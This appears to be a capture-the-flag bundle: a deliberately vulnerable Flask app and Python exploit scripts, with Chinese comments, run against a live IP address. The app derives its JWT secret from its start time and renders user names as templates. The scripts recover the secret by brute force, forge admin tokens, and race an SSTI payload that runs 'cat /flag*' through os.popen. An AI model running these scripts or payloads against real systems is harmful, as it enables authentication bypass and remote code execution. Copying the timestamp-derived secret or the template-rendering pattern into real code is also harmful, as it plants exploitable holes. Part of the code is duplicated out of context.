from flask import Flask, request, render_template, abort, redirect, render_template_string
import jwt, hashlib, time

app = Flask(__name__)
time_started = round(time.time())
print(f"System started at {time_started}")
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()

tempuser = None

USER_DB = {
    "admin": {"id": 1, "role": "admin", "name": "Administrator"},
    "guest": {"id": 2, "role": "guest", "name": "Guest User"},
}

def admin_required(f):
    def wrapper(*args, **kwargs):
        cookie = request.cookies.get('session', None)
        if cookie is None:
            
            response = redirect('/')
            session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
            response.set_cookie('session', session)
            return response
        try:
            user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
            if user_data['role'] != 'admin':
                abort(403, description="Admin access required.")
            if user_data['name'] != 'Administrator':
                abort(403, description="Admin access required.")
            time.sleep(0.15)
        except jwt.InvalidTokenError:
            abort(401, description = f"Session expired. Please log in again. System has been running {round(time.time() - time_started)} seconds.")
        return f(*args, **kwargs)
    wrapper.__name__ = f.__name__
    return wrapper

@app.before_request
def load_user():
    if request.endpoint == 'static':
        return
    global tempuser
    cookie = request.cookies.get('session', None)
    if cookie is None:
        tempuser = USER_DB['guest']
        session = jwt.encode(tempuser, APP_SECRET, algorithm='HS256')
        response = redirect(request.path)
        response.set_cookie('session', session)
        return response
    try:
        user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
        tempuser = user_data
    except jwt.InvalidTokenError:
        session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
        content = render_template_string(
            "Session expired. Please log in again. System has been running %d seconds." %
            (round(time.time() - time_started))
        )
        response = app.make_response((content, 401))
        response.set_cookie('session', session)
        return response
    
@app.route('/', methods=['GET'])
def home():
    return render_template('index.html')


@app.route("/admin", methods=['GET'])
@admin_required
def admin_panel():
    global tempuser
    return render_template_string("Welcome Back, %s" % tempuser['name'])

@app.route("/static/<path:filename>", methods=['GET'])
def serve_static(filename):
    if not filename.endswith('.png'):
        abort(403, description="Only .png files are allowed.")
    return app.send_static_file(filename)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000)

import requests
import jwt
import hashlib
import time

# 你的网站
url = "http://8.147.132.32:24750/"

# 创建会话
session = requests.Session()
session.verify = False

print("正在寻找网站密钥...")

# 1. 获取运行时间
try:
    r = session.get(url + '/admin', cookies={'session': 'invalid'})
    print("获取错误信息...")
    
    if 'System has been running' in r.text:
        import re
        match = re.search(r'System has been running (\d+) seconds', r.text)
        if match:
            uptime = int(match.group(1))
            print(f"网站运行了: {uptime} 秒")
            
            # 2. 计算启动时间
            current_time = int(time.time())
            time_started = current_time - uptime
            print(f"网站启动时间大约是: {time_started}")
            
            # 3. 在附近找正确的密钥
            print("正在尝试可能的密钥...")
            for ts in range(time_started - 300, time_started + 300):
                secret = hashlib.sha256(str(ts).encode()).hexdigest()
                
                # 测试这个密钥是否正确  
                try:
                    # 用已知的guest token测试
                    guest_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6Imd1ZXN0IiwibmFtZSI6Ikd1ZXN0IFVzZXIifQ.C7nbrf18MKTAzyZRtBdgid4DO2ug6W8ApHIfR8tCbAE"
                    decoded = jwt.decode(guest_token, secret, algorithms=['HS256'])
                    
                    # 如果成功解码，就找到了！
                    print("找到密钥了!")
                    print(f"启动时间戳: {ts}")
                    print(f"密钥: {secret}")
                    
                    # 4. 用这个密钥造管理员token
                    admin_data = {
                        "id": 1,
                        "role": "admin", 
                        "name": "Administrator"
                    }
                    admin_token = jwt.encode(admin_data, secret, algorithm='HS256')
                    print(f"🪪 管理员Token: {admin_token}")
                    
                    # 测试能不能进管理员页面
                    r = session.get(url + '/admin', cookies={'session': admin_token})
                    if r.status_code == 200:
                        print("成功进入管理员页面!")
                        print("现在可以用这个密钥做SSTI攻击了")
                    break
                    
                except:
                    # 密钥不对，继续试
                    if ts % 100 == 0:
                        print(f"尝试中... {ts}")
                    continue
                    
    else:
        print("没有找到运行时间信息")
        
except Exception as e:
    print(f"错误: {e}")

{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag*').read()}}

def flood_guest():
    nonlocal success
    while not success:
        try:
            requests.get(url, cookies={'session': malicious_token}, timeout=0.1)
        except:
            pass

def try_admin():
    nonlocal success
    for i in range(50):
        if success:
            break
        try:
            r = requests.get(url + '/admin', cookies={'session': admin_token}, timeout=1)
            # 檢查響應中是否包含flag
            if "flag" in r.text or "{" in r.text:
                print(f"[SUCCESS] 找到flag: {r.text}")
                success = True
                break
        except:
            pass

t1 = threading.Thread(target=flood_guest)
t2 = threading.Thread(target=try_admin)

t1.start()
t2.start()

t2.join()
t1.join()

import requests
import threading
import time

url = "http://8.147.132.32:24750/"
secret = "812f7d41b298c20d8cb041daaa8c142b181838821de5647ad29fa4ef79c084f7"

def precise_race_attack():
    import jwt
    
    # 创建恶意guest token
    malicious_guest = {
        "id": 2,
        "role": "guest",
        "name": "{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag*').read()}}"
    }
    malicious_token = jwt.encode(malicious_guest, secret, algorithm='HS256')
    
    admin_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6ImFkbWluIiwibmFtZSI6IkFkbWluaXN0cmF0b3IifQ.LxCAaYZoEHhEzz26avKldy1azGXTX_XKQNBtSLn9QgY"
    
    success = False
    
    def flood_guest():
        nonlocal success
        while not success:
            try:
                requests.get(url, cookies={'session': malicious_token}, timeout=0.1)
            except:
                pass
    
    def try_admin():
        nonlocal success
        for i in range(50):
            if success:
                break
            try:
                r = requests.get(url + '/admin', cookies={'session': admin_token}, timeout=1)
                if "flag" in r.text or "{" in r.text:
                    print(f"[SUCCESS] 找到flag: {r.text}")
                    success = True
                    break
                elif "Welcome Back, {{" in r.text:
                    print(f"[!] SSTI触发但未成功: {r.text[:100]}")
            except:
                pass
    
    print("[*] 启动精确竞争攻击...")
    
    t1 = threading.Thread(target=flood_guest)
    t2 = threading.Thread(target=try_admin)
    
    t1.start()
    t2.start()
    
    t2.join()
    t1.join()

precise_race_attack()